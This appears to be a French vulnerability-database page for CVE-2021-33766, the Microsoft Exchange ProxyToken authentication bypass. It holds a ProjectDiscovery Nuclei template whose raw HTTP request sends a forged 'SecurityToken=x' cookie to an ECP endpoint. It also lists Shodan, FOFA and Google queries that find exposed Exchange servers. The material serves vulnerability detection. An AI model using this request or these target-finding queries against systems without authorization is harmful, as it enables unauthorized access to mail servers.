Exploit matérialisé
CVE-2021-33766
HIGH KEV1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.
À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei
high Vérifié
Source
Microsoft Exchange - Authentication Bypass
Par projectdiscovery
Comment tester cet exploit
Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.
nuclei -id CVE-2021-33766 -u https://your-target
Template yaml
id: CVE-2021-33766
info:
name: Microsoft Exchange - Authentication Bypass
author: daffainfo
severity: high
description: |
Microsoft Exchange Server Information Disclosure Vulnerability. This vulnerability enables an attacker to bypass authentication and gain access to the Exchange Server's internal.
impact: |
Unauthenticated attackers can bypass authentication using a SecurityToken cookie, gaining access to Exchange Server's internal API endpoints and sensitive information.
remediation: |
Apply security updates provided by Microsoft to fix the authentication bypass vulnerability.
reference:
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-33766
- https://www.zerodayinitiative.com/advisories/ZDI-21-798/
- https://github.com/demossl/CVE-2021-33766-ProxyToken
- https://nvd.nist.gov/vuln/detail/CVE-2021-33766
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2021-33766
epss-score: 0.98136
epss-percentile: 0.9991
cwe-id: NVD-CWE-noinfo
cpe: cpe:2.3:a:microsoft:exchange_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: microsoft
product: exchange_server
shodan-query:
- vuln:cve-2021-26855
- http.favicon.hash:1768726119
- http.title:"outlook"
- cpe:"cpe:2.3:a:microsoft:exchange_server"
fofa-query:
- title="outlook"
- icon_hash=1768726119
google-query: intitle:"outlook"
tags: cve,cve2021,microsoft,exchange,auth-bypass,kev,vkev,vuln
variables:
email: "{{randstr}}@{{rand_base(5)}}.com"
http:
- raw:
- |
GET /ecp/{{email}}/PersonalSettings/HomePage.aspx?showhelp=false HTTP/1.1
Host: {{Hostname}}
Cookie: SecurityToken=x
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<span id="msgCode">403</span>'
- 'function signOut() {'
condition: and
- type: word
part: header
words:
- "Microsoft.Exchange.Data.Storage.ObjectNotFoundException"
- "X-BEResource="
condition: and
- type: status
status:
- 403
# digest: 490a0046304402205b39176ea4a69df8833c843b213726875bfae0626120f0cd801d946b0e4e475102204267ebacc4cdb32840cf6d1aa4343dae07d9710ffc64d0a511ee46a60830de28:922c64590222798bb761d5b6d8e72950